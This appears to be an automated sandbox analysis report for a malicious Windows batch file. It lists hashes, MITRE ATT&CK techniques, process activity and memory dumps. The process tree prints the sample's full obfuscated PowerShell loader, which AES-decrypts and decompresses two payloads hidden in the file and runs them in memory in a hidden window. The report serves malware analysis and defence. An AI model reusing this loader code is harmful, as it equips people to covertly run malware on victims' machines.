aaffdf518cc96d2bef02a7b3e1d55fc7267c336fc4e99c82018c31c8249739e0

Analysis

user interaction
yes
max time kernel
13s
max time network
15s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
13/11/2026, 12:38

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General

Target
Pazzzzzzload_protected_blackhat.bat
Size 633KB
Sample261113-pvbfeabz3p
SHA256 aaffdf518cc96d2bef02a7b3e1d55fc7267c336fc4e99c82018c31c8249739e0
MD5 f12f073dec1204772a430d233918cd74
SHA1 519ab2e2bffa42d4970e30eaf133ce2f1eb681cc
SHA512 87008b094b86d3f6affd73889a62fd0f61229453df0b2adac5f9f304dcc3f368a3fdb72b9c95700ccbba54827ce15fe614ae533ee37431a90bc8911c3e48a436
SSDEEP 12288:fTnPrQZXgQ7BNm3mFn7i3IrsrArLcqBBBQhZMBgh:fbrQZwWi3IrvLcY+HMk
TLSH
T1B2D40176DF763AA0A9F2819B7E671C4C3B81B94F261A5E5CC368BEE840F0D535CA440D
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4060	powershell.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4420	cmd.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4060	powershell.exe
4060	powershell.exe
4060	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4060	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4420 wrote to memory of 1828	4420	cmd.exe	86
PID 4420 wrote to memory of 4060	4420	cmd.exe	87

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Pazzzzzzload_protected_blackhat.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4420
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9nA6UCREl6z43gM83MEUzDYlb/Ts2rkQF2Exjj6V6tM='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3X7zXbK2GSPvSCQFam2x8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $LGnjC=New-Object System.IO.MemoryStream(,$param_var); $HOIfW=New-Object System.IO.MemoryStream; $yomPk=New-Object System.IO.Compression.GZipStream($LGnjC, [IO.Compression.CompressionMode]::Decompress); $yomPk.CopyTo($HOIfW); $yomPk.Dispose(); $LGnjC.Dispose(); $HOIfW.Dispose(); $HOIfW.ToArray();}function execute_function($param_var,$param2_var){ $eouIQ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $YhGmP=$eouIQ.EntryPoint; $YhGmP.Invoke($null, $param2_var);}$uScil = 'C:\Users\Admin\AppData\Local\Temp\Pazzzzzzload_protected_blackhat.bat';$host.UI.RawUI.WindowTitle = $uScil;$JCqVa=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($uScil).Split([Environment]::NewLine);foreach ($kLLLO in $JCqVa) { if ($kLLLO.StartsWith('AfMEvgvqRFdXHirgjlhq')) { $oUkKg=$kLLLO.Substring(20); break; }}$payloads_var=[string[]]$oUkKg.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:1828
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4060

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_nxjmw1pd.ik4.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nxjmw1pd.ik4.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4060-1-0x000001A26A6F0000-0x000001A26A700000-memory.dmp

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memory/4060-0-0x000001A26A6F0000-0x000001A26A700000-memory.dmp

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memory/4060-9-0x000001A26C7E0000-0x000001A26C802000-memory.dmp

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memory/4060-10-0x000001A26CF10000-0x000001A26CF54000-memory.dmp

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memory/4060-11-0x000001A26CFE0000-0x000001A26D056000-memory.dmp

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memory/4060-12-0x000001A26A6E0000-0x000001A26A6E8000-memory.dmp

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memory/4060-13-0x000001A26CF60000-0x000001A26CFD8000-memory.dmp

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memory/4060-14-0x000001A26D060000-0x000001A26D0D6000-memory.dmp

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